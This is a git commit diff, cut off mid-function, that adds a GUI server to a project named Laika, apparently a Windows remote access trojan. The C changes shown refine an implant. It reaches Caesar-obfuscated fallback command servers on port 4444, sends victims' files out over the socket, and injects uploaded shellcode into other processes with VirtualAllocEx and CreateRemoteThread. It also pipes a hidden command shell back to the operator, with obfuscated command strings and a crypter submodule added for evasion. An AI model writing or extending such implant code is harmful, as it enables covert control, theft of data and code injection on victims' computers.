add: GUI Server
12
.gitignore
vendored
@@ -1,6 +1,8 @@
|
|||||||
.vim
|
.vim
|
||||||
Laika/.vs
|
.vs
|
||||||
Laika/Release
|
.vs
|
||||||
Laika/Laika/Release
|
Release
|
||||||
Laika/Laika/x64
|
x64
|
||||||
*.bin
|
*.bin
|
||||||
|
bin
|
||||||
|
obj
|
||||||
3
.gitmodules
vendored
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
[submodule "patate-crypter"]
|
||||||
|
path = patate-crypter
|
||||||
|
url = https://github.com/ALittlePatate/patate-crypter
|
||||||
51
Laika.sln
Normal file
@@ -0,0 +1,51 @@
|
|||||||
|
|
||||||
|
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||||
|
# Visual Studio Version 17
|
||||||
|
VisualStudioVersion = 17.1.32407.343
|
||||||
|
MinimumVisualStudioVersion = 10.0.40219.1
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Laika", "Laika\Laika.vcxproj", "{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}"
|
||||||
|
EndProject
|
||||||
|
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Server", "Server\Server.csproj", "{ECBAF9B2-2988-480B-973E-50A6BDC7016E}"
|
||||||
|
EndProject
|
||||||
|
Global
|
||||||
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
|
Debug|Any CPU = Debug|Any CPU
|
||||||
|
Debug|x64 = Debug|x64
|
||||||
|
Debug|x86 = Debug|x86
|
||||||
|
Release|Any CPU = Release|Any CPU
|
||||||
|
Release|x64 = Release|x64
|
||||||
|
Release|x86 = Release|x86
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||||
|
{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|Any CPU.ActiveCfg = Debug|x64
|
||||||
|
{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|Any CPU.Build.0 = Debug|x64
|
||||||
|
{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|x64.ActiveCfg = Debug|x64
|
||||||
|
{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|x64.Build.0 = Debug|x64
|
||||||
|
{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|x86.ActiveCfg = Debug|Win32
|
||||||
|
{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|x86.Build.0 = Debug|Win32
|
||||||
|
{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|Any CPU.ActiveCfg = Release|x64
|
||||||
|
{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|Any CPU.Build.0 = Release|x64
|
||||||
|
{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|x64.ActiveCfg = Release|x64
|
||||||
|
{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|x64.Build.0 = Release|x64
|
||||||
|
{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|x86.ActiveCfg = Release|Win32
|
||||||
|
{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|x86.Build.0 = Release|Win32
|
||||||
|
{ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||||
|
{ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||||
|
{ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Debug|x64.ActiveCfg = Debug|Any CPU
|
||||||
|
{ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Debug|x64.Build.0 = Debug|Any CPU
|
||||||
|
{ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Debug|x86.ActiveCfg = Debug|Any CPU
|
||||||
|
{ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Debug|x86.Build.0 = Debug|Any CPU
|
||||||
|
{ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||||
|
{ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||||
|
{ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Release|x64.ActiveCfg = Release|Any CPU
|
||||||
|
{ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Release|x64.Build.0 = Release|Any CPU
|
||||||
|
{ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Release|x86.ActiveCfg = Release|Any CPU
|
||||||
|
{ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Release|x86.Build.0 = Release|Any CPU
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(SolutionProperties) = preSolution
|
||||||
|
HideSolutionNode = FALSE
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||||
|
SolutionGuid = {40DA52A8-9E2F-46BC-AA9A-205BF4863D68}
|
||||||
|
EndGlobalSection
|
||||||
|
EndGlobal
|
||||||
@@ -1,31 +0,0 @@
|
|||||||
|
|
||||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
|
||||||
# Visual Studio Version 17
|
|
||||||
VisualStudioVersion = 17.1.32407.343
|
|
||||||
MinimumVisualStudioVersion = 10.0.40219.1
|
|
||||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Laika", "Laika.vcxproj", "{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}"
|
|
||||||
EndProject
|
|
||||||
Global
|
|
||||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
|
||||||
Debug|x64 = Debug|x64
|
|
||||||
Debug|x86 = Debug|x86
|
|
||||||
Release|x64 = Release|x64
|
|
||||||
Release|x86 = Release|x86
|
|
||||||
EndGlobalSection
|
|
||||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
|
||||||
{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|x64.ActiveCfg = Debug|x64
|
|
||||||
{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|x64.Build.0 = Debug|x64
|
|
||||||
{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|x86.ActiveCfg = Debug|Win32
|
|
||||||
{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|x86.Build.0 = Debug|Win32
|
|
||||||
{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|x64.ActiveCfg = Release|x64
|
|
||||||
{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|x64.Build.0 = Release|x64
|
|
||||||
{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|x86.ActiveCfg = Release|Win32
|
|
||||||
{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|x86.Build.0 = Release|Win32
|
|
||||||
EndGlobalSection
|
|
||||||
GlobalSection(SolutionProperties) = preSolution
|
|
||||||
HideSolutionNode = FALSE
|
|
||||||
EndGlobalSection
|
|
||||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
|
||||||
SolutionGuid = {40DA52A8-9E2F-46BC-AA9A-205BF4863D68}
|
|
||||||
EndGlobalSection
|
|
||||||
EndGlobal
|
|
||||||
@@ -72,23 +72,31 @@
|
|||||||
<PropertyGroup Label="UserMacros" />
|
<PropertyGroup Label="UserMacros" />
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
<LinkIncremental>true</LinkIncremental>
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
<OutDir>..\bin\</OutDir>
|
||||||
|
<IntDir>..\obj\</IntDir>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
<LinkIncremental>false</LinkIncremental>
|
<LinkIncremental>true</LinkIncremental>
|
||||||
<GenerateManifest>false</GenerateManifest>
|
<GenerateManifest>false</GenerateManifest>
|
||||||
<RunCodeAnalysis>false</RunCodeAnalysis>
|
<RunCodeAnalysis>false</RunCodeAnalysis>
|
||||||
<EnableClangTidyCodeAnalysis>false</EnableClangTidyCodeAnalysis>
|
<EnableClangTidyCodeAnalysis>false</EnableClangTidyCodeAnalysis>
|
||||||
<ClangTidyChecks>*</ClangTidyChecks>
|
<ClangTidyChecks>*</ClangTidyChecks>
|
||||||
<EnableMicrosoftCodeAnalysis>false</EnableMicrosoftCodeAnalysis>
|
<EnableMicrosoftCodeAnalysis>false</EnableMicrosoftCodeAnalysis>
|
||||||
|
<OutDir>..\bin\</OutDir>
|
||||||
|
<IntDir>..\obj\</IntDir>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
<LinkIncremental>true</LinkIncremental>
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
<OutDir>..\bin\</OutDir>
|
||||||
|
<IntDir>..\obj\</IntDir>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
<LinkIncremental>false</LinkIncremental>
|
<LinkIncremental>false</LinkIncremental>
|
||||||
<RunCodeAnalysis>true</RunCodeAnalysis>
|
<RunCodeAnalysis>true</RunCodeAnalysis>
|
||||||
<EnableClangTidyCodeAnalysis>true</EnableClangTidyCodeAnalysis>
|
<EnableClangTidyCodeAnalysis>true</EnableClangTidyCodeAnalysis>
|
||||||
<ClangTidyChecks>*</ClangTidyChecks>
|
<ClangTidyChecks>*</ClangTidyChecks>
|
||||||
|
<OutDir>..\bin\</OutDir>
|
||||||
|
<IntDir>..\obj\</IntDir>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Label="Vcpkg">
|
<PropertyGroup Label="Vcpkg">
|
||||||
<VcpkgEnabled>false</VcpkgEnabled>
|
<VcpkgEnabled>false</VcpkgEnabled>
|
||||||
@@ -96,16 +104,23 @@
|
|||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
<ClCompile>
|
<ClCompile>
|
||||||
<WarningLevel>Level3</WarningLevel>
|
<WarningLevel>Level3</WarningLevel>
|
||||||
<SDLCheck>true</SDLCheck>
|
<SDLCheck>false</SDLCheck>
|
||||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS</PreprocessorDefinitions>
|
||||||
<ConformanceMode>true</ConformanceMode>
|
<ConformanceMode>true</ConformanceMode>
|
||||||
<LanguageStandard>stdcpp20</LanguageStandard>
|
<LanguageStandard>stdcpp20</LanguageStandard>
|
||||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
<BasicRuntimeChecks>Default</BasicRuntimeChecks>
|
||||||
|
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<CompileAs>CompileAsC</CompileAs>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
<Link>
|
<Link>
|
||||||
<SubSystem>Console</SubSystem>
|
<SubSystem>Console</SubSystem>
|
||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
<AdditionalDependencies>msvcrt.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
<AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
|
||||||
|
<EntryPointSymbol>main</EntryPointSymbol>
|
||||||
|
<ImageHasSafeExceptionHandlers>true</ImageHasSafeExceptionHandlers>
|
||||||
</Link>
|
</Link>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
@@ -126,12 +141,12 @@
|
|||||||
<SubSystem>Console</SubSystem>
|
<SubSystem>Console</SubSystem>
|
||||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
<OptimizeReferences>true</OptimizeReferences>
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
<GenerateDebugInformation>DebugFull</GenerateDebugInformation>
|
||||||
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
|
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
|
||||||
<EntryPointSymbol>main</EntryPointSymbol>
|
<EntryPointSymbol>main</EntryPointSymbol>
|
||||||
<StackReserveSize>
|
<StackReserveSize>
|
||||||
</StackReserveSize>
|
</StackReserveSize>
|
||||||
<GenerateMapFile>true</GenerateMapFile>
|
<GenerateMapFile>false</GenerateMapFile>
|
||||||
<AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>
|
<AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
<SectionAlignment>
|
<SectionAlignment>
|
||||||
</SectionAlignment>
|
</SectionAlignment>
|
||||||
@@ -147,7 +162,7 @@
|
|||||||
<ClCompile>
|
<ClCompile>
|
||||||
<WarningLevel>Level3</WarningLevel>
|
<WarningLevel>Level3</WarningLevel>
|
||||||
<SDLCheck>true</SDLCheck>
|
<SDLCheck>true</SDLCheck>
|
||||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS</PreprocessorDefinitions>
|
||||||
<ConformanceMode>true</ConformanceMode>
|
<ConformanceMode>true</ConformanceMode>
|
||||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
|
|||||||
@@ -1,9 +1,9 @@
|
|||||||
#define FALLBACK_SERVERS 1
|
#define FALLBACK_SERVERS 1
|
||||||
|
|
||||||
char* fallback_servers[1] = {
|
char* fallback_servers[FALLBACK_SERVERS] = {
|
||||||
"6>736;=3:;36",
|
"6>736;=3:;36",
|
||||||
};
|
};
|
||||||
|
|
||||||
int fallback_servers_ip[1] = {
|
int fallback_servers_ip[FALLBACK_SERVERS] = {
|
||||||
4444,
|
4444,
|
||||||
};
|
};
|
||||||
@@ -17,22 +17,25 @@ int get_drives_list(char* buf) {
|
|||||||
return count; // return number of drives found
|
return count; // return number of drives found
|
||||||
}
|
}
|
||||||
|
|
||||||
char get_obj_info(const char* dirPath) {
|
char get_obj_info(const char* path) {
|
||||||
char result = 'N';
|
WCHAR widePath[MAX_PATH];
|
||||||
HANDLE hFind = NULL;
|
DWORD attributes;
|
||||||
WIN32_FIND_DATA findData;
|
|
||||||
|
|
||||||
WCHAR searchPath[MAX_PATH];
|
if (mbstowcs_(widePath, path, MAX_PATH) == (size_t)-1) {
|
||||||
mbstowcs_(searchPath, dirPath, MAX_PATH);
|
return 'N';
|
||||||
|
}
|
||||||
|
attributes = Api.GetFileAttributesW(widePath);
|
||||||
|
|
||||||
wcscat(searchPath, L"\\*.*");
|
if (attributes == INVALID_FILE_ATTRIBUTES) {
|
||||||
hFind = Api.FindFirstFileW(searchPath, &findData);
|
return 'N'; // Path doesn't exist or can't be accessed
|
||||||
|
}
|
||||||
|
|
||||||
if (hFind == INVALID_HANDLE_VALUE)
|
if (attributes & FILE_ATTRIBUTE_DIRECTORY) {
|
||||||
return result;
|
return 'd'; // It's a directory
|
||||||
result = (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) ? 'd' : 'f';
|
}
|
||||||
Api.FindClose(hFind);
|
else {
|
||||||
return result;
|
return 'f'; // It's a file
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
char* get_file_list(const char* dirPath, int* numFiles) {
|
char* get_file_list(const char* dirPath, int* numFiles) {
|
||||||
@@ -72,7 +75,7 @@ char* get_file_list(const char* dirPath, int* numFiles) {
|
|||||||
fileList = (char**)Api.HeapReAlloc(_crt_heap, HEAP_ZERO_MEMORY, fileList, maxFiles * sizeof(char*));
|
fileList = (char**)Api.HeapReAlloc(_crt_heap, HEAP_ZERO_MEMORY, fileList, maxFiles * sizeof(char*));
|
||||||
}
|
}
|
||||||
fileList[numFound] = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, strlen(fileName) + 1);
|
fileList[numFound] = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, strlen(fileName) + 1);
|
||||||
strcpy(fileList[numFound], CAESAR(fileName));
|
strcpy(fileList[numFound], fileName);
|
||||||
numFound++;
|
numFound++;
|
||||||
} while (Api.FindNextFileW(hFind, &findData) != 0);
|
} while (Api.FindNextFileW(hFind, &findData) != 0);
|
||||||
|
|
||||||
@@ -100,7 +103,7 @@ char* get_file_list(const char* dirPath, int* numFiles) {
|
|||||||
// Set the numFiles parameter to the number of files/folders found
|
// Set the numFiles parameter to the number of files/folders found
|
||||||
*numFiles = numFound;
|
*numFiles = numFound;
|
||||||
|
|
||||||
return fileNames;
|
return CAESAR(fileNames);
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL delete_folder(LPCTSTR lpszDir) {
|
BOOL delete_folder(LPCTSTR lpszDir) {
|
||||||
@@ -122,7 +125,7 @@ BOOL delete_folder(LPCTSTR lpszDir) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
do {
|
do {
|
||||||
if (Api.lstrcpyW(FindFileData.cFileName, TEXT(".")) == 0 || Api.lstrcpyW(FindFileData.cFileName, TEXT("..")) == 0) {
|
if (wcscmp_(FindFileData.cFileName, TEXT(".")) == 0 || wcscmp_(FindFileData.cFileName, TEXT("..")) == 0) {
|
||||||
// skip the current and parent directories
|
// skip the current and parent directories
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
@@ -166,7 +169,7 @@ int download_file(HANDLE fp, SOCKET sock) {
|
|||||||
|
|
||||||
// Send the contents of the file through the socket
|
// Send the contents of the file through the socket
|
||||||
while (1) {
|
while (1) {
|
||||||
Api.WriteFile(fp, data, BUFFER_SIZE, &bytes_read, NULL);
|
Api.ReadFile(fp, data, BUFFER_SIZE, &bytes_read, NULL);
|
||||||
if (bytes_read == 0) {
|
if (bytes_read == 0) {
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -190,6 +193,7 @@ int download_file(HANDLE fp, SOCKET sock) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
|
Api.send(sock, "<Laika:EOF>", strlen("<Laika:EOF>"), 0);
|
||||||
Api.HeapFree(_crt_heap, 0, data);
|
Api.HeapFree(_crt_heap, 0, data);
|
||||||
Api.CloseHandle(fp);
|
Api.CloseHandle(fp);
|
||||||
Sleep_(Sleep_TIME);
|
Sleep_(Sleep_TIME);
|
||||||
@@ -203,6 +207,7 @@ int download_file(HANDLE fp, SOCKET sock) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Api.send(sock, "<Laika:EOF>", strlen("<Laika:EOF>"), 0);
|
||||||
Api.CloseHandle(fp);
|
Api.CloseHandle(fp);
|
||||||
Api.HeapFree(_crt_heap, 0, data);
|
Api.HeapFree(_crt_heap, 0, data);
|
||||||
|
|
||||||
|
|||||||
77
Laika/main.c
@@ -21,6 +21,8 @@ HANDLE g_hChildStd_IN_Wr = NULL;
|
|||||||
HANDLE g_hChildStd_OUT_Rd = NULL;
|
HANDLE g_hChildStd_OUT_Rd = NULL;
|
||||||
HANDLE g_hChildStd_OUT_Wr = NULL;
|
HANDLE g_hChildStd_OUT_Wr = NULL;
|
||||||
|
|
||||||
|
int started = 0;
|
||||||
|
|
||||||
#define BUFFER_SIZE 4096
|
#define BUFFER_SIZE 4096
|
||||||
#define SMALL_SLEEP_TIME 50
|
#define SMALL_SLEEP_TIME 50
|
||||||
|
|
||||||
@@ -40,6 +42,9 @@ DWORD WINAPI redirect_i_thread(LPVOID lpParameter) {
|
|||||||
else if (bytesRead == SOCKET_ERROR) {
|
else if (bytesRead == SOCKET_ERROR) {
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
else if (g_hChildStd_IN_Wr == NULL) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
else {
|
else {
|
||||||
Sleep_(SMALL_SLEEP_TIME);
|
Sleep_(SMALL_SLEEP_TIME);
|
||||||
}
|
}
|
||||||
@@ -50,15 +55,28 @@ DWORD WINAPI redirect_i_thread(LPVOID lpParameter) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
DWORD WINAPI redirect_o_thread(LPVOID lpParameter) {
|
DWORD WINAPI redirect_o_thread(LPVOID lpParameter) {
|
||||||
|
started = 1;
|
||||||
SOCKET sock = (SOCKET)lpParameter;
|
SOCKET sock = (SOCKET)lpParameter;
|
||||||
char* buffer = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, BUFFER_SIZE);
|
char* buffer = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, BUFFER_SIZE);
|
||||||
DWORD bytesRead = 0;
|
DWORD bytesRead = 0;
|
||||||
|
DWORD bytesAvailable = 0;
|
||||||
|
|
||||||
while (1) {
|
while (1) {
|
||||||
// Read data from the child process's stdout pipe
|
if (Api.PeekNamedPipe(g_hChildStd_OUT_Rd, NULL, 0, NULL, &bytesAvailable, NULL)) {
|
||||||
if (Api.ReadFile(g_hChildStd_OUT_Rd, buffer, BUFFER_SIZE, &bytesRead, NULL)) {
|
if (bytesAvailable > 0) {
|
||||||
Api.send(sock, CAESAR(buffer), (int)bytesRead, 0);
|
if (Api.ReadFile(g_hChildStd_OUT_Rd, buffer, min(BUFFER_SIZE, bytesAvailable), &bytesRead, NULL)) {
|
||||||
//Api.send(sock, buffer, bytesRead, 0);
|
Api.send(sock, CAESAR(buffer), (int)bytesRead, 0);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
Sleep_(SMALL_SLEEP_TIME);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (g_hChildStd_OUT_Rd == NULL) {
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
DWORD error = Api.GetLastError();
|
DWORD error = Api.GetLastError();
|
||||||
@@ -68,7 +86,6 @@ DWORD WINAPI redirect_o_thread(LPVOID lpParameter) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
Api.HeapFree(_crt_heap, 0, buffer);
|
Api.HeapFree(_crt_heap, 0, buffer);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
@@ -87,6 +104,8 @@ DWORD WINAPI watch_process(LPVOID lpParameter) {
|
|||||||
|
|
||||||
while (1) {
|
while (1) {
|
||||||
n = Api.recv(args->sock, buffer, sizeof(buffer), MSG_PEEK);
|
n = Api.recv(args->sock, buffer, sizeof(buffer), MSG_PEEK);
|
||||||
|
if (Api.WaitForSingleObject(args->process, 0) == WAIT_OBJECT_0)
|
||||||
|
return 0;
|
||||||
if (n > 0) {
|
if (n > 0) {
|
||||||
// There is data available on the socket, so the connection is still alive
|
// There is data available on the socket, so the connection is still alive
|
||||||
}
|
}
|
||||||
@@ -303,6 +322,7 @@ retry:
|
|||||||
size_t fsize = 0;
|
size_t fsize = 0;
|
||||||
char *file = upload_file_to_mem(sock, &fsize);
|
char *file = upload_file_to_mem(sock, &fsize);
|
||||||
if (file == NULL) {
|
if (file == NULL) {
|
||||||
|
Api.send(sock, "fail", strlen("fail"), 0);
|
||||||
Sleep_(Sleep_TIME);
|
Sleep_(Sleep_TIME);
|
||||||
goto retry;
|
goto retry;
|
||||||
}
|
}
|
||||||
@@ -318,6 +338,7 @@ retry:
|
|||||||
Api.HeapFree(_crt_heap, 0, arch);
|
Api.HeapFree(_crt_heap, 0, arch);
|
||||||
|
|
||||||
if (proc == NULL) {
|
if (proc == NULL) {
|
||||||
|
Api.send(sock, "fail", strlen("fail"), 0);
|
||||||
Api.HeapFree(_crt_heap, 0, file);
|
Api.HeapFree(_crt_heap, 0, file);
|
||||||
Sleep_(Sleep_TIME);
|
Sleep_(Sleep_TIME);
|
||||||
goto retry;
|
goto retry;
|
||||||
@@ -325,6 +346,7 @@ retry:
|
|||||||
|
|
||||||
LPVOID addr = Api.VirtualAllocEx(proc, NULL, fsize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
LPVOID addr = Api.VirtualAllocEx(proc, NULL, fsize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||||
if (addr == NULL) {
|
if (addr == NULL) {
|
||||||
|
Api.send(sock, "fail", strlen("fail"), 0);
|
||||||
Api.HeapFree(_crt_heap, 0, file);
|
Api.HeapFree(_crt_heap, 0, file);
|
||||||
Api.CloseHandle(proc);
|
Api.CloseHandle(proc);
|
||||||
Sleep_(Sleep_TIME);
|
Sleep_(Sleep_TIME);
|
||||||
@@ -332,6 +354,7 @@ retry:
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (Api.WriteProcessMemory(proc, addr, file, fsize, NULL) == 0) {
|
if (Api.WriteProcessMemory(proc, addr, file, fsize, NULL) == 0) {
|
||||||
|
Api.send(sock, "fail", strlen("fail"), 0);
|
||||||
Api.HeapFree(_crt_heap, 0, file);
|
Api.HeapFree(_crt_heap, 0, file);
|
||||||
Api.CloseHandle(proc);
|
Api.CloseHandle(proc);
|
||||||
Sleep_(Sleep_TIME);
|
Sleep_(Sleep_TIME);
|
||||||
@@ -340,6 +363,7 @@ retry:
|
|||||||
|
|
||||||
HANDLE hThread = Api.CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL);
|
HANDLE hThread = Api.CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL);
|
||||||
if (hThread == NULL) {
|
if (hThread == NULL) {
|
||||||
|
Api.send(sock, "fail", strlen("fail"), 0);
|
||||||
Api.HeapFree(_crt_heap, 0, file);
|
Api.HeapFree(_crt_heap, 0, file);
|
||||||
Api.CloseHandle(proc);
|
Api.CloseHandle(proc);
|
||||||
Sleep_(Sleep_TIME);
|
Sleep_(Sleep_TIME);
|
||||||
@@ -349,6 +373,7 @@ retry:
|
|||||||
Api.HeapFree(_crt_heap, 0, file);
|
Api.HeapFree(_crt_heap, 0, file);
|
||||||
Api.CloseHandle(proc);
|
Api.CloseHandle(proc);
|
||||||
Api.CloseHandle(hThread);
|
Api.CloseHandle(hThread);
|
||||||
|
Api.send(sock, "ok", strlen("ok"), 0);
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
if (strncmp_(server_reply, "ljydknqjdqnxy", strlen("ljydknqjdqnxy")) == 0) { //get_file_list
|
if (strncmp_(server_reply, "ljydknqjdqnxy", strlen("ljydknqjdqnxy")) == 0) { //get_file_list
|
||||||
@@ -399,7 +424,7 @@ retry:
|
|||||||
goto retry;
|
goto retry;
|
||||||
}
|
}
|
||||||
|
|
||||||
HANDLE hFile = Api.CreateFileA(CAESAR_DECRYPT(path), GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
|
HANDLE hFile = Api.CreateFileA(CAESAR_DECRYPT(path), GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||||
Api.HeapFree(_crt_heap, 0, path);
|
Api.HeapFree(_crt_heap, 0, path);
|
||||||
|
|
||||||
if (hFile == NULL)
|
if (hFile == NULL)
|
||||||
@@ -444,17 +469,21 @@ retry:
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (strncmp_(server_reply, "xmjqq", strlen("xmjqq")) == 0) { //shell
|
if (strncmp_(server_reply, "xmjqq", strlen("xmjqq")) == 0) { //shell
|
||||||
|
started = 0;
|
||||||
// Set the socket as standard output and error
|
// Set the socket as standard output and error
|
||||||
SECURITY_ATTRIBUTES sa;
|
SECURITY_ATTRIBUTES sa;
|
||||||
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
|
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
|
||||||
sa.bInheritHandle = TRUE;
|
sa.bInheritHandle = TRUE;
|
||||||
sa.lpSecurityDescriptor = NULL;
|
sa.lpSecurityDescriptor = NULL;
|
||||||
if (!Api.CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &sa, 0)) {
|
if (!Api.CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &sa, 0)) {
